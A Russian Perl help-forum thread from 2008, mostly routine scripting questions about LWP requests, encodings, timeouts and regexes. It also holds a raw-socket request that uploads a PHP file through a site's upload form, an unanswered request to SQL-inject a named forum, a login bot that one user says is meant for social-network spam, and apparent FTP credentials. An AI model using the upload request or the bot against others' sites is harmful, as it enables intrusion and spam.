
помогите со скриптиком
есть файл 1.txt вида
Юля
Паша
Маша

загоняю их в массив
open (FILE , '<clients.txt');
my @f = <FILE>;

далее мне надо для каждого клиента сдлеать запрос вида http://site/scritp.pl?name=имя клиента

что лучше использовать foreach (@f) или while(@f) ?

krypt3r

02.07.2008, 15:20

open my $FILE, '<', clients.txt or die "Open error: $!\n";
my @f = <$FILE>;
close $FILE;
foreach $name(@f) {...}

или

open my $FILE, '<', clients.txt or die "Open error: $!\n";
while (<$FILE>) {...}
close $FILE;

без разницы, как хочешь. Второй вариант предпочтительнее

svesve

02.07.2008, 16:03

Спс за помощь появилась еще одна поблема теперь скрипт сохраняет инфу в файл не в той кодировке (

и еще надо както обрезать первые 9 строк чтоб не выводились ))

0verbreaK

02.07.2008, 16:07

Где можно взять хороший док (желательно на русском)по формированию пакетов raw socket в perl хотябы основные протоколы.

http://www.perlmonks.org/?node_id=390075
http://www.uni-giessen.de/faq/archiv/internet.tcp-ip.raw-ip-faq/msg00000.html
http://search.cpan.org/~szabgab/Net-RawIP-0.23/lib/Net/RawIP.pm
http://dag.wieers.com/rpm/packages/perl-Net-RawIP/
http://www.ic.al.lg.ua/~ksv/
http://www.opennet.ru/openforum/vsluhforumID9/4873.html
http://packetstormsecurity.org/sniffers/net-rawip/

На русском не видел

svesve

02.07.2008, 16:47

Написал скриптик который из файла коиентов выводит по ним стату
но не пойму как убрать эти строки из файла в который выводится.

HTTP/1.1 200 OK
Connection: close
Date: Wed, 02 Jul 2008 12:42:54 GMT
Server: Apache
Content-Type: text/plain; charset=KOI8-R
Client-Date: Wed, 02 Jul 2008 12:39:06 GMT
Client-Peer: 217.119.16.91:80
Client-Response-Num: 1
Client-Transfer-Encoding: chunked

как от нх извабиться? и можно ли сменить кодировку когда выводим в файл?

вот скрипт

#!/usr/bin/perl
use strict;
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
open my $FILE, '<', 'clients.txt' or die "Open error: $!\n";
my @f = <$FILE>;
chomp @f;
close $FILE;
foreach my $name(@f) {
my $req = $ua->get("http://site/cgi-bin/trstat.pl?code=$name&month=2008-06")->as_string;
open OUT, '>',$name.'.txt';
print OUT $req;
close OUT;
}

Kaimi

02.07.2008, 17:01

Насчет кодировки
use Encode qw/encode decode/;
потом
print FILE decode('KOI8-R',$req);

А чтобы вытаскивать только то что тебе нужно используй регулярки

Piflit

02.07.2008, 20:41

content вместо as_string. в чужих скриптах такого не было? ;)

krypt3r

03.07.2008, 07:25

svesve, попробуй без хедеров так:

#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request;

my $ua = LWP::UserAgent->new;
open my $FILE, '<', 'clients.txt' or die "Open error: $!\n";
my @f = <$FILE>;
chomp @f;
close $FILE;
my ($req, $res, $content, $OUT);
my $url = 'http://site/cgi-bin/trstat.pl';
foreach my $name(@f) {
$req = HTTP::Request->new (GET => $url . "?code=$name&month=2008-06");
$req->content_type ('text/html');
$res = $ua->request ($req);
die "Can't get url $url: " . $res->status_line . "\n" unless $res->is_success;
$content = $res->content;
# тут, если нужно, производится парсинг полученного результата
open $OUT, '>', $name . '.txt';
print $OUT $content;
close $OUT;
}

svesve

03.07.2008, 09:15

Спасибо за помощь! но так скрипт не работает ))

krypt3r

03.07.2008, 10:10

svesve, я поправил пост, смотри код

svesve

03.07.2008, 10:45

во теперь робит все ) спс
единственно когда кодировку в коцне перевожу ругается на что то(Wide character in print at test.pl line 24.) но это фигня главное работает ))

svesve

03.07.2008, 12:50

Теперь такой вопрос я хочу передать через форму параметр скрипту тобишь чтоб каждый раз не лазить менять date хотелось бы его передать через форму
подскажите как будет это выглядеть?

#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request;
use Encode qw/encode decode/;

my $ua = LWP::UserAgent->new;
open my $FILE, '<', 'clients.txt' or die "Open error: $!\n";
my @f = <$FILE>;
chomp @f;
close $FILE;
my ($req, $res, $content, $OUT);
my $url = 'http://site/cgi-bin/trstat.pl';
my $date= 123;# задаем тут дату
foreach my $name(@f) {
$req = HTTP::Request->new (GET => $url . "?code=$name&month=$date");
$req->content_type ('text/html');
$res = $ua->request ($req);
die "Can't get url $url: " . $res->status_line . "\n" unless $res->is_success;
$content = $res->content;
open $OUT, '>', $name . '.txt';
print $OUT decode('KOI8-U',$content);
close $OUT;
}

demonoid

03.07.2008, 20:27

$date замени на :

${ \join '-' => 1900+(localtime)[5] => (('01'..'12')[(localtime)[4]]) };

xD

svesve

03.07.2008, 21:17

Там дата должна не текущая быть а ту которую надо ) хД

demonoid

05.07.2008, 13:43

Теперь такой вопрос я хочу передать через форму параметр скрипту тобишь чтоб каждый раз не лазить менять date хотелось бы его передать через форму
подскажите как будет это выглядеть?
"чтобы правильно задать вопрос, надо знать половину ответа" ....
правильно выражать свои мысли тоже целая наука , перефразируй - с расстановкой запятых.А то не чего непонятно , чёрт ногу сломает.
помогу чем смогу xD

ZET36

06.07.2008, 16:33

как можно вывести переменную содержимого файла не в массив а в строку

demonoid

06.07.2008, 16:42

my $f;
open FILE ,'file.txt' or die $!;
{
local $/ = undef;
$f = <FILE>;
}
close FILE;
$f - скаляр в котором содержание файла 'file.txt'

NeReVaR

08.07.2008, 11:52

Всем привет. У меня такой вот вопросик..
Для того, чтобы добавить новый crontab - я создаю новый файл формата кронтаба, и теперь нужно запустить "CRONTAB /path.../myfile". Так вот - так запустить/выполнить любую команду в PHP?? Пробовал system() иexec(), но они почему-то не работают..

biophreak

08.07.2008, 12:13

Ты по-моему промахнулся разделом немного :)
PHP != Perl, и Crontab != Perl ;)

svesve

08.07.2008, 14:36

Помогите решить такую задачу
есть скрипт обрабатывающий статистику все это дело крутиться на IIS
он из файла берет данные клиентов и собирает статистику по ним.иногда бывают такие клиенты для обработки которых надо более чем 5 минут..возможно ли в данном скрипте реализовать пропуск таких клиентов? тобишь таймаут сделать?!
#!/usr/bin/perl -w

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request;
use Encode qw/encode decode/;

print "content-type: text/html \n\n";
my $query = $ENV{QUERY_STRING};
my $ua = LWP::UserAgent->new;
my ($req, $res, $content, $OUT);
my $url = 'http://site/cgi-bin/trstat.pl';
my $post=$ENV{'QUERY_STRING'};
open my $FILE, '<', '/inetpub/wwwroot/cl/clients.txt' or die "Open error: $!\n";
my @f = <$FILE>;
chomp @f;
close $FILE;

foreach my $name(@f) {
$req = HTTP::Request->new (GET => $url . "?code=$name&month" .$post);
$req->content_type ('text/html');
$res = $ua->request ($req);
die "Can't get url $url: " . $res->status_line . "\n" unless $res->is_success;
$content = $res->content;
open $OUT, '>','/inetpub/wwwroot/cl/res/' . $name.''.$post. '.txt';
print $OUT decode('KOI8-U',$content);
close $OUT;
}
print "Все готово,чтобы посмотреть отчеты нажмите <a href=http://192.168.100.211/cl/res/>сюда</a>";

Велемир

08.07.2008, 19:47

Народ,такая ошибка вот :

C:\>suka.pl
"" is not exported by the Socket module
Can't continue after import errors at C:/Perl/lib/IO/Socket.pm line 36
BEGIN failed--compilation aborted at C:\suka.pl line 5.

suka.pl (Исполняемый фаил :ДДД).

Сам код скрипта такой:

#! /usr/bin/perl

use IO::Socket

my $server = shift;
my $fh = IO::Socket::INET->new($server);
my $line = <$fh>;
print $line;

Только начинаю программировать,вот :). Юзаю последнюю версию интерпретатора ActivePerl на Windows XP Professional )

ZET36

08.07.2008, 21:32

как вывести все значения массива в одну строку

demonoid

08.07.2008, 21:57

2 ZET36
вопрос весьма серьёзный xD
$ perl -e '@a = ('a'..'z');print @a,"\n"'
abcdefghijklmnopqrstuvwxyz
$

2 Велемир
use IO::Socket;

ZET36

08.07.2008, 22:10

demonoid Извени я неправильно поставил вопрос я имел ввиду преобразовать все значения массива в один скаляр, уже нашол решение через join (), но всёравно спасибо

GAVVVR

08.07.2008, 22:30

Hi a11!
У меня нубский вопрос, но всё же.
Подскажите, где взять нормальный учебник на русском. Нормальный - это значит не насканеные и плохо обработанные в файнридере, а хорошия учебник для НУБа, чтобы без ошибок и желательно чтобы легко воспринемаемый текст был. Я хочу изучить язык, но очень долго приходится париться из за ошибок в учебнике.
ЗЫ не надо говорить, что учебник нужно купить в магазине. Я в деревне живу сейчас. Не тут таких магазов. Мне желательно ссылки на материал в электронном виде =).
ЗЫЫ Хочу изучить PERL, чтобы писать скрипты, которые позволяли бы брать информацию с веб форм и творить с ней, что хочу), поэтому учебник хочу найти на подобную тематику
Заранее спасибо. И спасибо за внимание =)

Велемир

08.07.2008, 22:35

пасиииба:Д

svesve

08.07.2008, 22:44

Люди,кто знает?!?!? как цикле foreach поставить таймер??? чтоб если цикл идет долго то он обрывался и переходил дальше

biophreak

08.07.2008, 23:40

Смотря что подразумеваешь под таймером...можно сделать так...
Записываешь в переменную время начала витка цикла, потом по аларму проверяешь разницу во времени начала цикла и текущего, если разница больше определенного значения, то чтото типа next MARK
Короче чтото типа

our $start;
MARK:
foreach(@mas)
{
$start = time;
alarm(1);
print $_;
$start = undef;
}

local $SIG{'ALRM'} = \&check_alarm;
sub check_alarm
{
next MARK if((time - $start) > 30 and defined $start); # 30 секунд
alarm(1);
}

ЗЫЖ Сорри, если че - не проверял, да и не совсем вменяем щас %)))

svesve

09.07.2008, 09:09

Смотря что подразумеваешь под таймером...
Вот скрипт который делает запрос на сервак,иногда запрос очень долго обрабатывается и его надо рубить чтоб скрипт не завершился по таймауту

#!/usr/bin/perl -w

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request;
use Encode qw/encode decode/;

print "content-type: text/html \n\n";
my $query = $ENV{QUERY_STRING};
my $ua = LWP::UserAgent->new;
my ($req, $res, $content, $OUT);
my $url = 'http://site/cgi-bin/trstat.pl';
my $post=$ENV{'QUERY_STRING'};
open my $FILE, '<', '/inetpub/wwwroot/cl/clients.txt' or die "Open error: $!\n";
my @f = <$FILE>;
chomp @f;
close $FILE;

foreach my $name(@f) {
$req = HTTP::Request->new (GET => $url . "?code=$name&month" .$post);
$req->content_type ('text/html');
$res = $ua->request ($req);
die "Can't get url $url: " . $res->status_line . "\n" unless $res->is_success;
$content = $res->content;
open $OUT, '>','/inetpub/wwwroot/cl/res/' . $name.''.$post. '.txt';
print $OUT decode('KOI8-U',$content);
close $OUT;
}
print "Все готово,чтобы посмотреть отчеты нажмите <a href=http://192.168.100.211/cl/res/>сюда</a>";

biophreak

09.07.2008, 09:18

Ну дык попробуй то, что я написал выше, может только незначительные поправки будут....дерзай

svesve

09.07.2008, 09:37

К сожалению не получилось ( всеравно запрос ждет ответа и не обрубается(
есть еще идеи?

biophreak

09.07.2008, 10:14

Хм...сорри, забыл, ОСь какая?
Это работает только на никсах ))

svesve

09.07.2008, 10:24

Хм...сорри, забыл, ОСь какая?
Это работает только на никсах ))
на win2k3 сервак
блин все уже перепробовал ниче не получается.

ZET36

09.07.2008, 10:45

хочу заюзать модуль Net::FTP::File http://search.cpan.org/~dmuey/Net-FTP-File-0.05/File.pm для передачи файла со своего компа на свой ftp сервер

use Net::FTP::File;

my $ftp = Net::FTP->new("fanera.6te.net", Debug => 0) or die "Cannot connect to some.host.name: $@";
$ftp->login("fanera.6te.net",'6d9dh87') or die "Cannot login ", $ftp->message;

$file="3.txt";
$newfile="4.txt";

$ftp->copy($file,$newfile) or warn $ftp->message;
$ftp->chmod(777, $newfile) or warn $ftp->message;

но пишет

"/" is your current location
Could not change perms on 4.txt: No soch file of directory

в чём проблема? может я неправильно указываю пути к файлам?

zythar

09.07.2008, 11:32

Could not change perms on 4.txt: No soch file of directory

тоесть такого файла не существует. почему? хз. наверное нормально не зааплодилось

True

09.07.2008, 13:20

на win2k3 сервак
блин все уже перепробовал ниче не получается.
в винде не работает функция alarm

GAVVVR

09.07.2008, 20:51

Не игнорьте мой нубский вопрос, пожалуйста. 601 ый пост в этой теме

GreenBear

09.07.2008, 20:57

perldoc

Велемир

09.07.2008, 22:08

#!usr/bin/perl

$proc = fork();

if ($proc == 0 ) {

print "This is a child process!" or die "Can`t create new process!";
open("STDOUT,>status.txt");
exec("cd C:\");
exec("dir");
close(STDOUT);

}

else {

print "This is parent process!";

}

Находит кучу ошибок)).Так как Unix-a нету,приходится импровизировать:)).Может кто подскажет,как использовать exec() в винде?)

genom--

09.07.2008, 22:56

Велемир

10.07.2008, 00:00

Спасибо,попробую )))

usr

10.07.2008, 12:38

велемир форки это не настоящие процессы лудше сразу пробуй с use threads;
use threads::shared; - у ксури была хорошая статья по ним -- поищи --
что касается exec()
то в ковычках `cd C:` или qx{}
да что ты говоришь. если геном не идет к книжке, то книжка идёт к геному :D
http://img510.imageshack.us/img510/6111/genomxt2.jpg

genom--

10.07.2008, 14:18

usr

10.07.2008, 20:04

usr - и вот че вы молодешь все такие наглые ??
ну вот почитай сравнение fork и threads(придется подписаться) поищи еще в нете много статей мне некогда --- треды полюбому дают больше возможностей но с ними надо еще научиться обращаться а вам ведь как всегда лень ))
http://av5.com/journals-magazines-online/1/49/502
>usr - и вот че вы молодежь все такие наглые ??
не наглые, а объективные, да и не молодежь я тебе
>ну вот почитай сравнение fork и threads
мы не о сравнении их, мы о том что: "велемир форки это не настоящие процессы лудше сразу пробуй с use threads" хотя на самом деле fork как раз таки создает настоящий процесс, а threads - это потоки интерпретатора
>еще в нете много статей
да нахер мне эти статьи, когда я тебе привел страницу из книги автора языка - ларри уолла

upd: тебе то может и пох на то как писать, ты брутеры мыл за плюсеки пишешь, а вот велемир может быть хочет стать настоящим Perl хакером, и с твоей стороны вводить его в заблуждение - не есть хорошо.

GAVVVR

11.07.2008, 05:57

Вот такой скрипт есть в учебнике, по которому решил заниматься.

#! /usr/bin/perl -w
@marks = (56, 23, 87, 79);

@diffs = diffsFromAvg(@marks);
$theAvg = diffsFromAvg(@marks);
print "List context: @diffs";
print "\nScalar Context: $theAvg";

sub diffsFromAvg
{
$numOfEls = @_;
$total = 0;
$total += $_ foreach (@_);
$avg = $total / $numOfEls

if (wantarray)
{
return map $avg - $_, @_;
}
else
{
$avg;
}
}

Находит ошибку на 17 и 20 линии. В чем проблема - не могу понять.

usr

11.07.2008, 06:12

Вот такой скрипт есть в учебнике, по которому решил заниматься.

Находит ошибку на 17 и 20 линии. В чем проблема - не могу понять.
$avg = $total / $numOfEls;

Mixon

11.07.2008, 10:13

Вот такой тупуватый вопрос....Как или чем запускать perl скрипты??А то постоянно имею дело с пхп,а ет столкнулся с перл....

Shtil[27]

11.07.2008, 10:18

Вот такой тупуватый вопрос....Как или чем запускать perl скрипты??А то постоянно имею дело с пхп,а ет столкнулся с перл....
ActivePerl, perldoc

Mixon

11.07.2008, 10:55

А через denwer никак??

biophreak

11.07.2008, 11:26

Если установлен перл вместе с денвером, то можно...

Mixon

11.07.2008, 11:29

Ну в денвере есть файлы типо Perl.exe,wPerl.exe и т.д....

biophreak

11.07.2008, 12:38

Ну, значит можно :)

ZET36

13.07.2008, 11:20

как закодировать значение в Url кодировку?

usr

13.07.2008, 11:27

как закодировать значение в Url кодировку?
http://support.internetconnection.net/CODE_LIBRARY/Perl_URL_Encode_and_Decode.shtml

demonoid

13.07.2008, 13:38

use URI::Escape;

my $url = uri_escape( 'http://search.cpan.org/~gaas/URI/URI/Escape.pm' );

genom--

14.07.2008, 13:14

а можно не страдать фигней и так написать
a=~s/\n//i; # в перем $a - твой урл
my @txt=split(//,$a);
foreach(@txt) {$wer=ord($_);$wer=sprintf "%%%x",$wer;$tekst.=$wer;}
print $tekst;

svesve

14.07.2008, 17:02

Люди объясните пожалуйста про функцию alarm
читал доки и не осилил

есть запрос который используется для сбора инфы
есть два клиента
петя
вася

скрипт открывает текстовик с клиентами
массив,цикл
в цикле запрос на сбор статистики.
если запрос для пети длится больше минуты то скрипт завершается по тайм ауту и вася обламывается.
дак вот не пойму как алармом убить петин цикл,но так чтоб дальше пошел вася обрабатываться

З.Ы.Травку не курил ))

svesve

17.07.2008, 12:15

Решение проблемы нашел )

eval {
$SIG{ALRM} = sub { die "alarm\n" };
alarm 10;
..........# тут код
};
if ( $@ eq "alarm\n" ) {
print "время вышло!\n";
}

Теперь такой вопрос.
У меня есть пхп скриптик который тупо закачивает текстовый файл.
если я текстовый файл(сделанный в винде) закачаю на FreeBSD то там в нем на конце каждой строчки находтся символ ^M и потом перловский скрипт из за этой шляпы не хочет пахать, как лучше от него ^M избавиться?

Redyps

17.07.2008, 23:36

$string =~ s/\^M//g;

krypt3r

18.07.2008, 06:49

cat script_dos.pl | tr -d '\r' > script_unix.pl

или создать перл-скриптик с регуляркой

s/\r//g

Это если файл уже залит на шелл. Можно сделать и в винде, пользуясь редакторами типа Notepad++ и сохранять сразу в Unix-варианте

biophreak

18.07.2008, 08:31

Есть еще такая программка - dos2unix, входит в состав пакета tofrodos.

svesve

18.07.2008, 09:26

я сделал проще,хотя может это конечно и глупо но всетаки.
файл закачивается через пхп скрипт, а после закачки вызываю такую команду
'<pre>';
system('col -bx < /usr/local/apache/htdocs/cl/clients.txt > /usr/local/apache/htdocs/cl/1.txt');
echo '</pre>'

Kaimi

18.07.2008, 14:50

Дайте пример multipart/form-data запроса на перле с использованием сокетов

genom--

18.07.2008, 18:00

ну вот засылает php скрипт в форму аплоада ))

my $sock=new IO::Socket::INET(PeerAddr=>$dom,PeerPort=>'80',PeerProto =>'TCP');

my $a=q(POST ).$skript_name.q( HTTP/1.1
User-Agent: Opera/9.50 (Windows NT 5.1; U; ru)
Host: ).$dom.q(
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 1000
Content-Type: multipart/form-data; boundary=----------Yqz7fayiEPXAbonKK8XQJM

------------Yqz7fayiEPXAbonKK8XQJM
Content-Disposition: form-data; name="act"

upload
------------Yqz7fayiEPXAbonKK8XQJM
Content-Disposition: form-data; name="uploadfile"; filename="name.php"
Content-Type: application/octet-stream

<?
Error_Reporting(E_ALL & ~E_NOTICE);
echo 'someshittt';
?>
------------Yqz7fayiEPXAbonKK8XQJM
Content-Disposition: form-data; name="miniform"

1
------------Yqz7fayiEPXAbonKK8XQJM
Content-Disposition: form-data; name="submit"

Upload
------------Yqz7fayiEPXAbonKK8XQJM--
);print $sock $a;

a1eX28

20.07.2008, 16:50

Подскажите, как сделать Post запрос на перле, который постит текст, который введен в форме:

<form action="/spotlight?id=317891" method="post" name="form_g2cents" id="form_g2cents">
<textarea name="comment_text" id="comment_text" class="w_350 field" rows="5"></textarea>
<script type="text/JavаScript">counter_init('comment_text*1500');</script>
<div class="buttons">
<input type="submit" class="button" name="submit_comment" value="добавить" />
</div>
</form>

demonoid

20.07.2008, 18:25

#!/usr/bin/perl -w

use LWP::UserAgent;
my $ua = new LWP::UserAgent;
my $q = $ua->post( 'http://connect.ua/spotlight?id=317891',
[ comment_text => ' ',
submit_comment => '%D0%B4%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%26%236553 3%3B%D1%26%2365533%3B',
] );

Piflit

20.07.2008, 18:30

demonoid
вроде еще
form_g2cents => 'что-то'
если будет проверяться isset($_POST['form_name'])

genom--

20.07.2008, 18:31

+ необязательно в urlencode
вот читани http://slil.ru/25994152 - там описывается на пальцах как запросы бомбить на io:socket и lwp

demonoid

20.07.2008, 19:00

demonoid
вроде еще
form_g2cents => 'что-то'
если будет проверяться isset($_POST['form_name'])
вроде или точно ? %)

+ необязательно в urlencode
поскольку тип форм по умолчанию application/x-www-form-urlencoded , это стоит делать

genom--

21.07.2008, 04:00

поскольку тип форм по умолчанию application/x-www-form-urlencoded , это стоит делать
угу ты мне раскажи-- оно при передаче и будет урленкодить если в урлэнкоде - если нет то небудет - я думаю ему мессаги нах ненадо каждый раз перегонять - учите матчасть =) -- я укуреный и пьян

demonoid

21.07.2008, 13:10

угу ты мне раскажи-- оно при передаче и будет урленкодить если в урлэнкоде - если нет то небудет - я думаю ему мессаги нах ненадо каждый раз перегонять - учите матчасть =) -- я укуреный и пьян
учите русский .

genom--

21.07.2008, 15:04

охота повыделываться?? если такой умный возьми проверь и не спорь больше если неуверен

blaga

21.07.2008, 15:58

Народ, привет. Я тут книжку одну читаю, а там скрипт на перле что бы узнать поле SERVER из заголовка ответа. Скрипт что то не канает. Перл вижу почти впервые.... :rolleyes: Вот листинг

#!usr/bin/perl
use LWP::UserAgent;
$client = LWP::UserAgent->new( ) or die;
print "Enter site:";
$url=<STDIN>; #Просим пользователя ввести адрес сайта
$answer = $client->get($url); #Отсылаем запрос на сайт
print "============================\n";
print $answer->header("server")."\n"; # Выводим поле Server из заголовка
print "============================\n";

никаких ошибок нет но поле не выводит. просто тупо пусто там.
Заранее спасибо!

k1b0rg

21.07.2008, 16:02

D:\>1.pl
Enter site:http://forum.antichat.ru/
============================
nginx
============================

чо не выводит то, вроде все вывело

blaga

21.07.2008, 16:08

эм. сорри. это я затупил. вводил адрес без http://
глупая привычка. :(

.::Gh0st::.

22.07.2008, 01:07

как сделать, чтобы при поиске в строке с помощью регекспа на вывод шло не true/false а именно само совпадение:

$text = 'text link.ru';
$link = $text =~ m![a-z0-9:/.]+\.[a-z]+!i;

выдаст 1

а надо link.ru

---
может переменную $& заюзать?
---
сам нашел ответ на свой вопрос :)

genom--

22.07.2008, 02:10

жжошь =) -- единственный минус $& - что если несколько таких выдираний идет и в строке не находится ничего подходящего по регекспу то она не перезапишется и выдаст тебе повтор с предыдущего поиска
ченить типо
print $& if $text =~ m![a-z0-9:/.]+\.[a-z]+!i; - будет разумнее

ну и не забывай что если часть регекспа в кавычки зафигачить то эта помещается в переменные $1,$2 и тд...

можно например print $1 if $text =~ m!([a-z0-9:/.]+\.[a-z]+)!i; сделать
или с помощью замены всей строки чисто на линк - так переприсваивать ненадо ничего буит
$text = 'text link.ru';
$text =~s/text (твой регексп)/$1/; -- тока в этом случае надо всю строку регекспом описывать что она заменилась на тот линк который тебе надо

krypt3r

22.07.2008, 06:51

.::Gh0st::. так надо?

#!/usr/bin/perl

use strict;
use warnings;
use diagnostics;

my $text = 'text link.ru';
my ($link) = $text =~ m!([a-z0-9:/.]+\.[a-z]+)!i;
print $link, "\n";

.Slip

22.07.2008, 17:24

Какой функцией сделать отсчёт времени работы скрипта? Что бы сразу после запуска, начался отсчёт, и перед закрытием скрипта вывелось время его работы.

genom--

22.07.2008, 17:43

$time=localtime;
print $time; ---- просто выдаст время - в окончании скрипта вывед время начала и еще раз время в конце - хз насчет четкого таймера

как альтернативу на вскидку мона параленьный поток создать
и в while(условия завершения скрипта){$time++ if sleep 1;}

потомы вести скока секунд работал скрипт - наркомания но хз =)

.Slip

22.07.2008, 18:16

Нашёл решение:

#!/usr/bin/perl -w
$start=time();

# блаблабла

print 'Время работы скрипта '.(time()-$start).' секунд';

Saiga

22.07.2008, 18:32

Vsem prijatnogo vremeni sutak

ja vot nashol forum : http://89.136.42.95
No nekak nemogu razobratsa kak zdelot SQL injection . Moshet ktonibut obesnit

MafiaBoy3

22.07.2008, 20:08

Я Новичок с большой буквы и у меня следующая проблема.

Какой код мне нужно написать чтобы получить страницу вида index.php?id=123456?

Я то написал но уменя куча ошибок. Помогите

Kaimi

22.07.2008, 20:17

#! /usr/bin/perl -w
use LWP::UserAgent;

$ua = LWP::UserAgent->new;
$res = $ua->get("http://somesite/index.php?id=123456")->as_string;
print $res;

MafiaBoy3

22.07.2008, 20:20

Kaimi извини но php бы

MafiaBoy3

22.07.2008, 20:21

A perl тоже пойдёт спасибо

Saiga

22.07.2008, 20:30

Vsem prijatnogo vremeni sutak

ja vot nashol forum : http://89.136.42.95
No nekak nemogu razobratsa kak zdelot SQL injection . Moshet ktonibut obesnit

biophreak

23.07.2008, 09:10

Эммм...а перл-то тут причем?

svesve

23.07.2008, 12:39

Появился такой вопросик,
Перл скрипт отрабатывает все свои функции ( коннект к серверу,сбор инйы в файл,отправка инфы на почту)
по окончании операции выводит All done(в браузере)
дак вот иногда бывает такое что all done выведено но скрипт еще работает,хотя ничего не обрабатывает и соотвественно спустя немного времени Firefox выдает Соединение сброшено сервером.
что посоветуетЕ?

krypt3r

23.07.2008, 13:33

А вывод "All done" стоит перед самым завершением работы скрипта? попробуй

# ...
# many code lines
# ...
print "All done\n";
exit 0;

svesve

23.07.2008, 13:55

Да вывод надписи в конце,exit 0 не спасает

genom--

23.07.2008, 17:07

у тя с апачем чет наверное - должен норм завершаться все

$p01nt

25.07.2008, 15:58

помогите выпарсить setselected номер (в данном примере должно найтись 12236571) плиз

<a style="color:fff; font-size:12px;" href="http://www.xxxx.ru/?setselected=12236571&setlocation=view_profile&setarea=view_profile&savelast=1">dianne1952</a>

Piflit

25.07.2008, 16:24

my ($res) = $str =~ /setselected=(\d+)/;

$p01nt

25.07.2008, 16:52

как удалить повоторы в массиве ? в нем такие данные (примерно)

1556850
1556850
1556850
1556850
1556850
5833033
5833033
5833033
5833033
5833033

Kaimi

25.07.2008, 17:26

как удалить повоторы в массиве ? в нем такие данные (примерно)

undef %saw;
@out = grep(!$saw{$_}++, @in);

$p01nt

27.07.2008, 23:57

текс...опять я :) вообщем такая ситуация,я с помощью пост запроса логинюсь на сайте,и потом пытаюсь получить страницу которую можно просматривать только авторизированым пользователям(с помощью гет) но мне выдается страница входа.Как поправить?

#! /usr/bin/perl

use strict;
use warnings;
use LWP;
#use LWP::Simple;

################################################Lo gin on site#
my $login='xxx@gmail.com';
my $pass='xxx';

my $url='http://www.xxx.com/?action=login';
my $browser=LWP::UserAgent->new;

my $response=$browser->post($url,
[ 'screenname'=>$login,
'password'=>$pass,
'submit.x'=>'51',
'submit.y'=>'2',
'continue_url='=>'',
]
);

my $sendurl='http://www.xxx.com/?setselected=10423501&setlocation=messages&setarea=new_message&savelast=1';

my @xx=get $sendurl;
open(XX,'>1.htm');
print XX @xx;

t00th

28.07.2008, 00:06

2$p01nt
Использовать куки наверно
Что-то вроде такого должно выйти

#! /usr/bin/perl

use strict;
use warnings;
use LWP;
use HTTP::Cookies;
#use LWP::Simple;

################################################Lo gin on site#
my $login='xxx@gmail.com';
my $pass='xxx';

my $cookie_jar=HTTP::Cookies->new;

my $url='http://www.xxx.com/?action=login';
my $browser=LWP::UserAgent->new;
$browser->cookie_jar($cookie_jar);

my $response=$browser->post($url,
[ 'screenname'=>$login,
'password'=>$pass,
'submit.x'=>'51',
'submit.y'=>'2',
'continue_url='=>'',
]
);

$cookie_jar->extract_cookies($response);
my $sendurl='http://www.xxx.com/?setselected=10423501&setlocation=messages&setarea=new_message&savelast=1';

my @xx=get $sendurl;
open(XX,'>1.htm');
print XX @xx;

$p01nt

28.07.2008, 15:21

не катит что то :(

вот так вот надо:

$cookie_jr->extract_cookies($response);
my $sendurl='http://www.xxx.com/?setlocation=online&setarea=online';
$response = $browser->get($sendurl);
$response=$response->as_string;
open(XX,'>1.htm');
print XX $response;

оффтоп... ребят кто может помочь со скриптом который спамит по социалке - плиз кинте номер аси в пм..

svesve

29.07.2008, 10:32

$req = HTTP::Request->new (GET => $url . "?code=$name&month" .$pairs[0]);
$req->content_type ('text/html');
$res = $ua->request ($req);
die "Can't get url $url: " . $res->status_line . "\n" unless $res->is_success;
$content = $res->content;
open $OUT, '>','/var/www/res/'.$name. '.txt';
print $OUT decode('KOI8-R',$content);
#print $OUT $content;
close $OUT;

вот кусок кода из скрипта,суть такова что скрипт выдергивает данные и пихает их в файл,соответственно чтоб файл нормально читался в Винде необходимо сделать конверт формата из никсов под вынь
собственно делаю
$content= ~s/\n/\r\n/;
на выходе получаю пустой файл (
пробовал s и m и ~m
Что не так?
можно тупо в консоле прописать perl -pi -e 's/\n/\r\n/;' *.txt но это не удобно

genom--

29.07.2008, 15:38

да херней маетесь зачем ему выдирать куки -экстрактом файлы приплетать конвертить
делается проще

use HTTP::Cookies;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$ua->cookie_jar($cookies); # туда где таймауты и тд просписываешь

и автоматом во всех его запросах будут идти принятые ранее кукисы

$p01nt

29.07.2008, 16:07

#! /usr/bin/perl

use strict;
use warnings;
use LWP;
use HTTP::Cookies;
use LWP::Simple;

################################################Lo gin on site#
my $login='xxxx@gmail.com';
my $pass='xxxx';

my $cookie_jar=HTTP::Cookies->new;

my $url='http://www.xxxx.com/?action=login';
my $browser=LWP::UserAgent->new;
$browser->cookie_jar($cookie_jar);

my $response=$browser->post($url,
[ 'screenname'=>$login,
'password'=>$pass,
'submit.x'=>'51',
'submit.y'=>'2',
'continue_url='=>'',
]
);

$cookie_jar->extract_cookies($response);
my $sendurl='http://www.xxxxx.com/?setselected=11058794&setlocation=messages&setarea=new_message&savelast=1';
$browser->cookie_jar($cookie_jar);
$response = $browser->get($sendurl);
$response=$response->as_string;
open(XX,'>1.htm');
print XX $response;

$cookie_jar->extract_cookies($response);

my $surl='http://www.xxxxxx.com/?action=send_message';
$response=$browser->post($surl,
[ 'submission%5Bmsg_id%5D'=>'',
'submission%5Bmessage%5D'=>'how',
'x'=>'13',
'y'=>'6',
]
);

помогите плиз переделать что бы отправляло мессагу всетаки !!!!

Piflit

29.07.2008, 16:31

$cookie_jar->extract_cookies($response);
не нужно этого делать. там все автоматически

$p01nt

29.07.2008, 16:58

все равно сообщение не отсылается

Piflit

29.07.2008, 17:06

попробуй
'submission[msg_id]'=>'',
'submission[message]'=>'how',

так

svesve

30.07.2008, 00:33

genom--

30.07.2008, 00:34

